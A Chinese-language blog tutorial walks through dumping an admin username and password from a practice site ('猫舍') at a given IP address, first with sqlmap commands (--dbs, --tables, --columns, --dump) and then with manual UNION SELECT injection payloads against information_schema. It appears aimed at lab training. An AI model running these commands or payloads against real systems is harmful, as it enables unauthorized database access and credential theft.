sqlmap.py 使用




sqlmap 顾名思义,针对SQL注入的工具,下载安装见如下实战。




SQLmap实战:获得猫舍密码


一、工具

1-官网下载安装 python2  ,建议直接默认C:/python27路径安装即可;        

2-官网下载 sqlmap 到本地不用安装,目录地址添加到环境变量,查看是否操作OK:cmd输入 sqlmap.py -h 查看帮助信息, sqlmap.py --version 查看版本,如下检测某个url:

happysneaker.com


3-以 http://120.203.13.75:6815/index.php?id=1  此站点为例

4-观察网址发现存在SQL注入点      

5-运行sqlmap.py : sqlmap.py -u http://120.203.13.75:6815/index.php?id=1  查看是否可以注入

6- sqlmap.py -u http://120.203.13.75:6815/index.php?id=1 --dbs  暴库

  - 得到几个数据库,只要maoshe这个数据库

  - 或者直接查询当前使用的数据库是哪个 --current-db ,当前用户就是--current-user

7- url后面加参数 -D maoshe --tables ,结果发现存在两个表 , 目标是admin这个表

8- url后面加参数 --columns -T admin ,列出这个表的所有字段,发现有三个:id,username,password

9- 只要用户名和密码就好: url后面加参数 --dump -T admin -C "username,password"

10- OK

注意:最好使用过程中加上cookie参数,以保持身份:

happysneaker.com




二、手工

1- 判断是否可注入:手工检查url是否可注入,确认可以;

2- 判断字段长度:http://120.203.13.75:6815/?id=1 order by 1 ,使用二分法猜解有几个字段,发现到2为正常,说明有字段长度为2;

3- 获取数据库信息:http://120.203.13.75:6815/?id=3 union select 1,database()  ,database()是名称,user()是用户名,version()是数据库版本,获取到数据库名称为maoshe,注意id=改为不是1和2的数字,因为1和2已经存在内容了,下同,或者使用 http://120.203.13.75:6815/?id=1and1=2 union select 1,database() 这种方法也行,即在id后加一个错误判断;

4- 查询maoshe下的表名:http://120.203.13.75:6815/?id=3 union select 1,table_name from information_schema.tables where table_schema = “maoshe” ,得到 admin;

5- 针对admin表进行查询:这里直接获取用户名密码就行 http://120.203.13.75:6815/?id=4 union select 1,password from maoshe.admin,或者不用maoshe.admin直接用admin就行,得到结果。

happysneaker.com




注意:

① 字母前面一个- , 单词后面两个 --

② 实际环境中,确定注入点以及基本信息就行了,不要深入。

③ 简单扫描:

1)如果是get型号,直接,sqlmap -u “诸如点网址”.

2) 如果是post型诸如点,可以sqlmap -u “注入点网址” – data=”post的参数”

3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r “文件地址”


Web安全技术分享
请先登录后发表评论
  • 最新评论
  • 总共0条评论